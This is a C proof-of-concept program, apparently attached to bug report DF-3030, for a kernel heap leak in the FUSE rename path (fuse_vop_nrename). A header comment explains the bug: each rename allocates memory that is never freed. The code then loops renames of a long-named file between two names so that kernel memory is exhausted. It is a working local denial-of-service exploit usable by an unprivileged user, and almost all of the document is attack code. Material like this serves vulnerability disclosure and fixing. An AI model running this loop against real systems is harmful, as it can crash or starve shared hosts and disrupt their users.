DF-3030 / rename_leak.c
/* * DF-3030 — kernel heap memory leak (M_TEMP) in fuse_vop_nrename. * * fuse_vnops.c:1219-1227 kmalloc()s `newname` (tncp->nc_nlen + 1 bytes, * M_TEMP) on EVERY rename where old != new name, uses it only inside * fuse_dbg(), and NEVER frees it. Each rename(2) therefore permanently * leaks ~name-length bytes of kernel heap. An unprivileged user with * write permission on a FUSE mount can loop renames to exhaust kernel * memory. * * usage: rename_leak <dir> <iterations> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> int main(int argc, char **argv) { char a[4096], b[4096]; const char *dir; long iters, i; int fd; if (argc != 3) { fprintf(stderr, "usage: %s <dir> <iterations>\n", argv[0]); return 2; } dir = argv[1]; iters = atol(argv[2]); /* two long (200-char) names, alternating — every rename allocates */ snprintf(a, sizeof(a), "%s/leakpad_%s", dir, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); snprintf(b, sizeof(b), "%s/leakpad_%s", dir, "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); fd = open(a, O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { perror("create"); return 1; } close(fd); for (i = 0; i < iters; i++) { if (rename(a, b) != 0) { perror("rename a->b"); return 1; } if (rename(b, a) != 0) { perror("rename b->a"); return 1; } if ((i % 5000) == 0) fprintf(stderr, "iter %ld\n", i); } unlink(a); printf("DONE iters=%ld (each iteration = 2 renames = 2 leaked " "M_TEMP allocs of ~264 bytes)\n", iters); return 0; } |